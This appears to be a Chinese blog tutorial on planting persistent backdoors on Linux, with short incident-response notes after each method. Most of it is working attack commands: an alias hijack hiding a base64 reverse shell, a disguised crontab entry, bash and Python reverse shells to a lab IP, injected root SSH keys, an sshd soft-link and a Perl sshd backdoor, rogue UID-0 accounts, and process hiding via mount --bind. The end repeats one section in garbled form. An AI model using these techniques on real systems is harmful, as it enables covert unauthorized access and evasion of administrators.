linux后门教程

linux后门教程

alias

用法

系统默认别名: alias

设置别名alias ls='ls -laih'

删除别名: unalias ls

**加参数:**alias ls='ls -laih;pwd'

注意

系统启动默认加载的配置文件

  • /etc/profile

切换用户就会执行/etc/profile

  • /etc/bashrc

bash shell

  • ~/.bashrc

每次打开新的shell时该文件都将被读取

  • ~/.bash_logout

每次退出系统(退出bash shell)时执行该文件

后门

  • 命令

    alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'''UTF-8''')}sys.version_info[0]))";};alerts'

    alias unalias='alerts(){ if [ # != 0 ]; then if [ * != "ls" ]&&[ * != "alias" ]&&[ * != "unalias" ]; then unalias *;else echo "-bash: unalias: {*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'

    alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.lambda./ls --color=auto'''/";};alerts'

base64解码内容

执行ls,反弹shell到kali监听的6666端口

目标机器可以看到连接的信息,需要关闭攻击机的ssh,目标机器才会执行在攻击机上的命令

劫持了命令alias,查看显示ls='ls --color=auto'

  • 后门隐藏

找一个有迷惑性的目录,修改成类似文件名

插入到自启程序中~/.bashrc

复制代码
#enable software update with apt
#See /etc/apt/source.d/ in the apt package.
if [ -f .pki/nss ]; then
    . .pki/nss
fi

stat直接能看出来,修改后门文件,与同目录文件时间相同

touch -acmr nssdb nss

kali用ssh连接执行ls,

反弹shell的监听反应

应急响应

异常连接netstat -anltp

查看异常pid: ps aux | grep 2019

ppid为1: cat /proc/2019/status

PPID是进程父进程的PID,通常是主要进程

unalias删除后,每次登录都会触发

stat检查时间修改,查找主要进程

找到最近时间修改/etc/profile/etc/bashrc~/.bashrc~/.bash_logout

alias 后门文件删掉即可

crontab

shell文件准备

1.sh

复制代码
#!/bin/bash
bash -i >& /dev/tcp/192.168.20.128/5555 0>&1
#反弹shell到IP地址:192.168.20.128

2.sh

复制代码
(crontab -l;printf "* * * * * /home/w_w/1.sh;\rno crontw_wab for `whoami`%100c\n")|crontab -
#建立crontab隐藏后门

可执行chmod +x

执行恶意文件2.sh

kali监听

应急响应

netstat -anlpt

查看异常连接PID,bash进程

看bash的父进程,父进程是1151

ps aux | grep 1151

cat /proc/1151/status

ps aux | grep 1149

/usr/sbin/CROND -n 跟网站定时任务有关

定时任务文件位置: /var/spool/cron

catcrontab -l没看到

使用cat -A 可以显示或vim

  • -A:表示显示所有非打印字符

删掉1.sh即可

ssh公钥免密

CRT生成公钥与私钥

RSA,连接服务器需要设置密码

密钥长度1024

公钥写入

传输到web站点通过wget下载

authorized_keys时通过ssh-keygen -t rsa生成密钥,开启免密登录

创建文件touch /root/.ssh/authorized_keys

将公钥追加到authorized_keys

cat Identity.pub >> /root/.ssh/authorized_keys

赋予执行权限

chmod 600 /root/.ssh/authorized_keys

登录

新建连接,选择Properties,选择公钥文件,连接

应急响应

netstat -anlpt

与负责人沟通确定该IP正常情况不能登录服务器

无异常,正常ssh登录,看authorized_keys是否被覆盖

未知用户公钥

看篡改时间,确定是最近篡改的

删除公钥

kill -9 进程

ssh软链接

创建

root用户

复制代码
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345 #ssh软链接
systemctl stop firewalld.service #关闭服务器的防火墙,不然连接不上

此处密码随意

普通用户

echo "

#%PAM-1.0

auth sufficient pam_rootok.so

auth include system-auth

account include system-auth

password include system-auth

session include system-auth " >> /etc/pam.d/wxg

ln -sf /usr/sbin/sshd /tmp/普通用户;/tmp/普通用户 -oPort=14725

systemctl stop firewalld.service #关闭服务器的防火墙,不然连接不上

应急响应

查找su文件,找具体软链接后门

删文件杀进程

增加超级用户账号

第一种情况:可以交互且允许uid=0的用户远程登录

echo "xiao:X:0:0::/:/bin/sh" >> /etc/passwd

  • xiao 是用户名。
  • x 表示密码信息存储在 /etc/shadow 中。
  • 0 是用户 ID,表示该用户是系统中的超级用户或 root 用户。
  • 0 是组 ID,表示该用户属于 root 组。
  • :: 表示没有额外的用户 ID 信息。
  • / 是主目录,表示用户登录后默认工作目录为根目录。
  • /bin/sh 是登录 shell,表示用户登录后默认使用 Bourne shell。

第二种情况:可以交互且不允许uid=0的用户远程登录

只能由普通用户权限

echo "ming:x:1000:1000::/:/bin/sh" >> /etc/passwd

第三种情况:不交互无回显添加Linux密码

useradd hhhh -u 0 -o -g root|| echo "123456" | passwd --stdin hhhh

执行两次

  • useradd 是一个用于创建新用户的命令。
  • hhhh 是要创建的用户名。
  • -u 0 指定用户的 UID 为 0,即 root 用户的 UID。
  • -o 允许分配非唯一 UID。
  • -g root 将用户添加到 root 用户组。
  • passwd --stdin wxg 是用来为用户 wxg 设置密码的命令,其中 --stdin 选项表示从标准输入中读取密码。

应急响应

可以查看远程登录者信息

复制代码
awk '/\$1|\$6/{print $1}' /etc/shadow

查看特权用户

复制代码
awk -F: '$3==0 {print$1}' /etc/passwd
  • '$3==0' 是 awk 的模式部分,表示匹配第三个字段等于 0 的行。

  • $3 表示第三个字段 ==0 表示等于零

杀掉练级进程pid,删除非法用户 userdel -rf 强制删除

perl脚本SSH后门

SSH后门源码

复制代码
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

让靶机从搭建的web服务去下载

将原来的sshd移动到/usr/bin

下载的ssh移动到/usr/sbin,并赋权

重启ssh服务:systemctl restart sshd.service

检测靶机开放端口

控制机:socat STDIO TCP4:192.168.20.137:22,sourceport=31334

应急响应

与管理员确认异常IP连接

正常sshd文件是ELF格式,后门文件是纯文本脚本,file就可以发现

vim+python文件后门-教程

ubuntu20.04的vim支持python3

反弹shell脚本

python 复制代码
import socket, subprocess, os;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("192.168.20.128", 6666));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
p = subprocess.call(["/bin/sh", "-i"]);

让靶机从搭建的web服务去下载

kali开启监听

靶机:vim -E -c "py3file shell.py"

空白说明反弹shell成功

kali

隐藏后门

netstat -anplt直接查到了,还会留空白窗口

命令启动时不显示该窗口

复制代码
(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &)

#将nohup的执行结果输出到/dev/null中

#其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。

#"2"在linux中代表错误输出,"1"在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结果是否正确,都不会有输出。

隐藏可疑连接

复制代码
(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &) && sleep 2 && rm -f shell.py

隐藏命令:

复制代码
mkdir null
mount --bind null /proc/6238
netstat -anpt
#mount --bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。

应急响应

看到有不正常连接,猜测被挂载了

cat /proc/$$/mountinfo

umount /proc/3132取消挂载

kill -9 pid

杀掉进程

SSH Wrapper后门

&) && sleep 2 && rm -f shell.py

复制代码
**隐藏命令:**

mkdir null

mount --bind null /proc/6238

netstat -anpt

#mount --bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。

复制代码
[外链图片转存中...(img-M3MftaKZ-1721128228618)]

### 应急响应

看到有不正常连接,猜测被挂载了

`cat /proc/$$/mountinfo`

[外链图片转存中...(img-KzeHBYVX-1721128228618)]

`umount /proc/3132`取消挂载

[外链图片转存中...(img-pNA2fGtG-1721128228618)]

kill -9 pid

杀掉进程
相关推荐
A小辣椒2 天前
TShark:Wireshark CLI 功能
linux
A小辣椒2 天前
TShark:基础知识
linux
AlfredZhao2 天前
OCI 明明分配了 200G 系统盘,为什么 df 只看到 30G?
linux·oci
AlfredZhao2 天前
vi 删除指定范围的行,不用再反复按 dd
linux·vi
用户9718356334663 天前
银河麒麟 KY10 申威(SW64) 安装 nginx-1.16.1-2.p01.ky10.sw_64.rpm 详细步骤
linux
猪脚踏浪3 天前
linux 拷贝文件或目录到指定的位置
linux
摇滚侠3 天前
Linux CentOS7 rpm 安装 MySQL 5.7
linux·运维·mysql
bush43 天前
嵌入式linux学习记录十四、术语
linux·嵌入式
载数而行5203 天前
Linux 11 动态监控指令top
linux
不会C语言的男孩3 天前
Linux 系统编程 · 第 8 章:进程基础
linux·c语言